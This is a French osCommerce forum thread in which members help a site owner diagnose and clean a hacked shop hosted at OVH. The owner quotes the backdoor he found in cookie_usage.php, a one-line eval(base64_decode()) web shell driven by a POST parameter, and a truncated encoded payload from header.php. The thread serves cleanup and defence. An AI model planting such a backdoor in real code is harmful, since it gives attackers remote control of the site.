Version imprimable du sujet

Cliquez ici pour voir ce sujet dans son format original

Forum osCommerce-fr _ Sécurité - Mises à jour _ [ RESOLU] site indisponible ovh

Écrit par : dav2706 16 Aug 2011, 12:23

Bonjour,
Mon site est hebergé chez ovh et depuis quelques temps j'ai mon site qui est indisponible assez régulierement. Seulement la partie catalogue, la partie admin est toujours accessible.
J'ai contacté ovh car j'ai vu qu'ils faisaient des travaux sur leur serveurs, mais pas de réponse de chez eux.
Quand je regarde mes logs je voie ceci:
[Sun Aug 14 15:39:40 2011] [error] [client 77.....] [host www....] suexec policy violation: see suexec log for more details
[Sun Aug 14 15:39:40 2011] [error] [client 77.....] [host www....] Premature end of script headers: index.php

Ca veut dire quoi ces lignes?

Merci

Écrit par : Havock 16 Aug 2011, 13:39

Google est ton ami http://forum.webrankinfo.com/probleme-php-chez-ovh-t106627.html

Écrit par : dav2706 16 Aug 2011, 14:42

Citation (Havock @ 16 Aug 2011, 13:39) *
Google est ton ami http://forum.webrankinfo.com/probleme-php-chez-ovh-t106627.html



j'ai essayé ça mais ca ne change rien, de plus ce matin j'arrivait a me connecter, plus quelques minutes apres plus rien. Ensuite il me semble que c'est que la page index qui bloque, j'ai mis un fichier html bidon dans la racine du site et j'y accede sans probleme. Et toujours pas de reponse ovh..

Écrit par : Gnidhal 16 Aug 2011, 17:11

Si ce n'est pas un problème de droits en exécution, ça pourrait être le symptôme d'un piratage de ton site car suexec est généralement appelé par des scripts CGI ou SSI.
Raison peut-être pour laquelle OVH ne répond pas en priorité car des sites non protégés qui ont été piratés, c'est légion en ce moment.
Par ailleurs "Premature end of script headers" est généralement le fruit d'une exécution avorté d'un script pl ou cgi non interprété.

Comme cela se passe sur index.php il est possible qu'une inclusion d'une frame ou d'un script étranger ait été fait par un pirate.
Regarde tes scripts à la loupe et tous les Includes qui sont fait dans index.php
Sinon c'est le moteur PHP de ton hébergeur qui est en vacances, et là, seul OVH peut t'aider.

Écrit par : dav2706 16 Aug 2011, 19:42

Je suis sur que le site n'a pas etre piraté, j'ai bien vérifié le fichier index.php, je l'ai meme remplacé par une sauvegarde que j'avais.
Le truc qui est bizarre aussi, c'est par moment le site s'ouvre avec Chrome mais pas avec firefox, ou bien je demande a un ami d'ouvrir le site, ça marche pour lui mais pas pour moi, et ceci en meme temps.
Apres des recherche sur google, c'est vrai que le probleme de droit d'acces reviens souvent. Mais bon j'ai rien touché la dedans.
J'ai deux autres site Oscommerce hébergé chez ovh, et eux ils marchent.. J'ai comparé les fichiers index de ces deux sites avec le premier, ils sont pratiquement équivalent.. C'est a s'arracher les cheveux la lol
Bon je vais attendre la réponse d'ovh.
Merci

Écrit par : dav2706 18 Aug 2011, 16:05

Bon aucune reponse de chez ovh, a part qu'ils me disent de vérifier mes scripts, j'ai deja fait 50 fois je vois rien qui cloche, meme en restaurant une sauvegarde de index.php c'est pareil...
Si quelqu'un veut bien examiner mon fichier index ça m'aiderait car la je sais plus quoi faire
merci

ps: quand je vais sur le site, sur google chrome j'ai une erreur 101: Erreur 101 (net::ERR_CONNECTION_RESET) : La connexion a été réinitialisée. et dur firefox "La connexion avec le serveur a été réinitialisée pendant le chargement de la page."

Écrit par : Havock 18 Aug 2011, 17:40

Tu n'as pas un pb de nombre de connexions simultanées à ta base trop important ?

Écrit par : dav2706 18 Aug 2011, 18:11

Havock,
je viens d'avoir un message d'ovh, "votre site fait aussi des connexions vers une adresse externe: 94.63.150.66". Dans mes logs "out" effectivement je vois que cette adresse apparait des centaines de fois dans la journée. Apparament cette adresse est situé en roumanie...
Ca veut dire quoi "des connexions vers une adresse externe"?? je comprend rien la..
Merci

Écrit par : chrysalide 18 Aug 2011, 18:47

Ca sent le hack ca !

peux tu me donner ton url en MP afin que je vérifie ?

Écrit par : dav2706 18 Aug 2011, 21:36

je t'ai envoyer l'adresse par mp

Écrit par : dav2706 19 Aug 2011, 17:51

dans le fichier cookie_usage.php du repertoire includes/lanquages/french/ j'ai trouvé cette ligne:
if (isset($_GET["cookie"])) { echo 'cookie=4'; if (isset($_POST["ae0b01f47e"])) @eval(base64_decode($_POST["ae0b01f47e"])); exit; }

apparament c'est ma faille, ça ma tapé dans l'oeil car la date de modification du fichier etait différente de tous les autres.
Ca peut etre ça?

Écrit par : chrysalide 19 Aug 2011, 18:24

Forcement c'est pas beau mais c'est pas le seul fichier impacté car a l'heure actuelle ton site est complétement HS.

la je crois que le hack est avéré !

as tu une sauvegarde de ton site ? si c'est non, c'est mal car tu vas en passer du temps a tout nettoyer

Écrit par : Gnidhal 19 Aug 2011, 18:54

Citation (Gnidhal @ 16 Aug 2011, 17:11) *
Si ce n'est pas un problème de droits en exécution, ça pourrait être le symptôme d'un piratage de ton site car suexec est généralement appelé par des scripts CGI ou SSI.
../..
Par ailleurs "Premature end of script headers" est généralement le fruit d'une exécution avorté d'un script pl ou cgi non interprété.
Il est des symptômes qui ne trompent pas. Le piratage a du avoir lieu après ta précédente restauration.
Citation (dav2706 @ 16 Aug 2011, 19:42) *
Je suis sur que le site n'a pas etre piraté, j'ai bien vérifié le fichier index.php, je l'ai meme remplacé par une sauvegarde que j'avais.

Tu avais donc une sauvegarde. Ok mais passe la au crible quand même et applique les patches de sécurité sur les scripts comme conseillé pour la faille "cookie_usage" un exploit connu dont tu trouveras le fix sans problème via GG.


Écrit par : Gnidhal 19 Aug 2011, 21:23

Juste pour bien comprendre la méthode d'un hacker :
1/ il recherche un site dont les scripts sont connus et qui ont eu des failles connues : ça peut être un joomla, un osCommerce ou tout autre produit Open Source qui a eu des failles (ils en ont tous eu).
2/ il tente toutes les failles connues : l'admin, les scripts perméables : cookie_usage, contact_us, tell_a_friend...
- normalement si ta version est à jour ces failles n'existent plus depuis longtemps.
3/ une fois qu'il a réussi à exploiter la faille il va s'en servir de plusieurs manières possibles :
a/ l'injection sql => il veut accéder à l'admin et dans la base on trouve presque tout : les chemins physiques, et même parfois le nom du dossier admin. Sa méthode est donc de faire cracher des données à ta base de données en plaçant une requête dans l'url du site
b/ le cross-scripting (je crois que c'est ce qui est fait chez toi) => son but est d'arriver à se servir de ton site comme relais de ses méfaits : spam, diffusion de virus... il appelle pour cela un script situé sur un autre serveur depuis une url de ta page. Ce script se sert de la simulation de position du script pour essayer absolument de placer son propre script dans ton site.
c/ l'accès à un upload vers un dossier en écriture => c'est pourquoi le dossier le plus fréquemment piraté est /images/ : il est généralement en 777 pour qu'on puisse envoyer les images des produits

Une fois qu'il a réussi à injecter son propre script, il est comme chez lui.
Son script est généralement une console complète d'édition des scripts en ligne et de transfert de fichier par un pseudo ftp via http.
Là il peut commencer à utiliser ton site comme une tête de pont pour :
- aller attaquer d'autres sites et essayer de reproduire l'exploit : son ip n'est plus la sienne mais une IP bien locale française, ça lève bien des barrières
- installer un moteur de relais smtp pour faire du spam
- installer des scripts bien plus méchant pour diffuser un virus à grande échelle ou attaquer des serveur sécurisés
- faire du bombing vers un site cible qu'il veulent casser par saturation : dans ce cas, il va chercher à dupliquer son script sur des centaines d'autres et il déclenchera une attaque synchronisée vers sa cible. Son but est de casser un gros site public : une banque, un service public, un organisme d'état...

Les motivations sont variées :
- financière : le spam est directement rémunéré par des commanditaires ou permet d'assurer un CA par vol de données
- politique : la lutte contre "le grand capital" ou la possibilité de déstabiliser une économie peut servir certains grands criminels ou groupes criminels
- ludique : il existe dans certains milieux des concours de hack où de jeunes surdoués s'amusent à comptabiliser les sites qu'ils ont cassé dans la journée

Bref, Internet est à l'image de notre monde : un voleur de voiture peut très bien faire ça pour rigoler, pour voyager, pour faire un casse, pour aller faire du stock-car... La différence est peut-être que c'est accessible de n'importe où et que ça n'est pas trop physique.

Alors quand un site donne des symptômes de faiblesses il faut immédiatement chercher un piratage possible.

Écrit par : dav2706 19 Aug 2011, 21:38

je reedite mon message car j'avais pas encore lu le tien

merci a tous en tout cas pour vos reponses
Mais ca marche toujours pas, j'ai remplacé le fichier cookie_usage par un autre propre,( en fait ce qui m'a mis la puce a l'oreille pour ce fichier, c'est que sur le ftp j'ai vu qu'il avait une date de modification différentes des autres) j'ai verifié tous les fichiers , j'ai supprimé tous les fichier du dossier racine.
Je prend les fichier 1 par un de la sauvegarde, je prend meme des fichiers d'un autre site oscommerce que je gere et qui sont equivalents, je transfere un par un. Je teste dans le navigateur, par exemple en tapant www.monsite.com/index.php ou bien n'importe quel autre fichier, ca bloque. Sur chrome j'ai erreur 101(net::ERR_CONNECTION_RESET) : La connexion a été réinitialisée. Sur firefox "la connexion a été réinitialisée
La connexion avec le serveur a été réinitialisée pendant le chargement de la page.
Le site est peut-être temporairement indisponible ou surchargé. Réessayez plus
tard ;"
Si il me disait au moins "fichier manquants, ou erreurs a la ligne de tel fichier, je comprendrais mais la...
Dans mes logs "out" d'ovh j'ai toujours une connexion sortante vers l'ip roumaine , j'en suis a 2676 connexions sortantes vers cet ip. J'ai du mal a comprendre comment c'est possible, et ensuite quel est le but. Puisque rien n'a disparu dans le site, l'admin est toujours accessible.
Peut t on bloquer la connexion sortante? C'est la meme ip qui sort.

Écrit par : chrysalide 19 Aug 2011, 22:03

c'est pas parce que tu remplaces index.php, product_info.php ou tout autres fichiers à la racine du site que tu vas résoudre ton pb.

ces fichiers font appellent a d'autres fichiers application_top.php, header.php, footer.php qui eux mêmes font appellent a d'autres fichiers.

Quand on te parle de restaurer une sauvegarde saine c'est son intégralité car je pense que tu auras beaucoup de mal à nettoyer les fichiers un a un car je doute que tu sois suffisamment aguerri .

Écrit par : Gnidhal 19 Aug 2011, 22:06

place une règle dans ton htaccess pour bloquer l'ip en question, ça devrait déjà le perturber un peu.
Maintenant puisque ton site est en croix, tu peux aussi le fermer complètement par un htaccess en interdisant tout sauf ton ip ou ta plage d'ip
inspire toi de ce qu'on trouve sur le net pour rédiger ton htaccess : http://forum.alsacreations.com/topic-20-36949-1-Htaccess--interdire-plage-IP--redirection-resolu.html par exemple. En inversant ce type de règle tu peut verrouiller l'accès provisoirement à ton usage uniquement. Ainsi, tu vas pouvoir travailler dessus tranquille.

Sur un dédié ou certains mutualisés tu as accès à une console ssh (putty) tu peux travailler directement en ligne avec un grep pour rechercher toute chaine de caractère malveillante.
Mais si ton mutualisé ne te donne pas accès à cet outil, la seule solution est de travailler en local.
0/ tu fais une sauvegarde de la base via l'outil backup du site (sans compression) ça doit te faire un fichier sql
1/ tu télécharges via ftp TOUT ton site dans un répertoire vierge.
2/ tu utilises un éditeur de code qui te permet de recherche une chaine dans tout un dossier (perso je suis fan de psPad mais d'autres préfèrent Notepad++) voir dans ma signature
3/ quand tu es sur qu'il ne reste rien dans aucun fichiers, tu effaces ton site en ligne (tout ce qui dans le dossier www) et tu renvoies tes scripts nettoyés puis tu testes.

Si je t'ai dit de faire une sauvegarde sql de la bdd dans le dossier backup, c'est que justement des portions de scripts peuvent y avoir été logé. Donc en faisant ta recherche, la bdd sera aussi scannée.
Si c'est elle qui contenait le mal, fais une restauration via phpmyadmin avant de remettre tes scripts.
Bon courage, c'est long mais pas impossible.

Écrit par : dav2706 19 Aug 2011, 22:27

Voila j'ai trouvé!
J'ai verifié les fichiers manuellement avec notepad++ et mon fichier header.php contenait <?php eval(base64_decode("ZnVuY3Rpb24gZX.... a la fin. Je me pose une question , sur le ftp header.php avait une date de modif différente des autres , c'est pour ca que je l'ai remarqué. DAns les logs je trouve aucune trace de cette modification, il devrait y avoir une trace non?
Bon en tout cas ca marche
J'ai supprimé et le site est accessible. Je me suis pris la tete mais ca valait la peine.


Merci pour votre aide en tout cas, merci Gnidhal

Écrit par : chrysalide 19 Aug 2011, 23:01

C'est pas parce que ca marche que tu es tiré d'affaire.
Avant de crier victoire recherche récursivement dans tous les fichiers de ton site l'expression eval(base64_decode afin d'être sure qu'il ne reste pas des bouts qq part.

Fait le tour des mise a jour de sécurité que tu aurais pu zapper et sur les conseils de la FaQ sur la sécurisation d'Oscommerce.

Bravo en tout cas je ne pensais pas que tu allais t"en sortir.

Écrit par : Gnidhal 20 Aug 2011, 08:47

Oui et je confirme ce que souligne Chrysalide, ce n'est pas forcément terminé!
Le code exécutable dans la ligne eval(... peut très bien avoir installé une backdoor.
Cela signifie que ton site reste vulnérable. Recherche encore une fois tout script php ou pl ou encore cgi qui n'est pas dans la version de ton miroir local.
C'est la raison pour la quelle je te disais de supprimer TOUT ce qui est en ligne (à l'exception des images peut-être) et de renvoyer l'ensemble de tes scripts de ta version locale après les avoir corrigé (via les docs en ligne) de toute faille potentielle.
Dans un premier temps, je t'ai dit de vérifier le fichier index.php et tous les includes
tu as répondu que le fichier index.php était clean, mais tu n'avais pas vérifié les includes (ou require)
Il y a peut-être encore un fichier modifié. La vérification de date de modif n'est pas une méthode fiable pour détecter un fichier modifié car il est tout à fait possible de modifier un fichier sans que cela ne se voit.

Écrit par : dav2706 20 Aug 2011, 13:04

En fait il y avait 3 fichiers infectés: header.php, application_top de l'admin, et cookie_usage dans le dossier french. Bizarre qu'un fichier de l'admin ai pu etre infecté, le dossier est protégé avec htaccess depuis toujours. Je vais continuer a nettoyer au cas où et colmater les failles qui pourraient rester. Par contre mes connexions sortantes vers l'ip roumaine ont disparu, plus aucune n'apparait dans mes logs, c'est déja ça, et le site refonctionne.

Merci en tout cas pour vos réponses

Propulsé par Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)